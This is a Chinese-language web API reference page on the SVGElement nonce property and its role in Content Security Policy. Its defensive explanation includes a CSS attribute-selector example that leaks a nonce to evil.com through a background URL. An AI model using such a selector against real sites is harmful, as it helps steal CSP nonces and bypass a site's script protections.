SVGElement: nonce 属性

Baseline 已广泛支持

此特性已经十分成熟,可在许多设备和浏览器版本上使用。自 2022 年 3 月起,它已在各浏览器中可用。

SVGElement 接口的 nonce 属性返回用于 内容安全策略(Content Security Policy)来决定是否允许给定获取继续进行的 nonce。

一个字符串;加密 nonce,如果没有设置 nonce,则为空字符串。

示例

检索 nonce 值

过去,并非所有浏览器都支持 nonce IDL 属性,因此一种变通方法是尝试使用 getAttribute 作为后备。

js
const svg = document.querySelector("svg");
const nonce = svg.nonce || svg.getAttribute("nonce");

// Modern browsers hide the nonce attribute from getAttribute()
console.log(nonce); // Prefer using `svg.nonce`

然而,最近的浏览器版本会隐藏通过此方式访问的 nonce 值(将返回空字符串)。IDL 属性(svg['nonce'])将是访问 nonce 的唯一方法。

Nonce 隐藏有助于防止攻击者通过可以从内容属性(如此 CSS 选择器)获取数据的机制来窃取 nonce 数据。

css
svg[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

规范

规范
HTML
# dom-noncedelement-nonce

浏览器兼容性

另见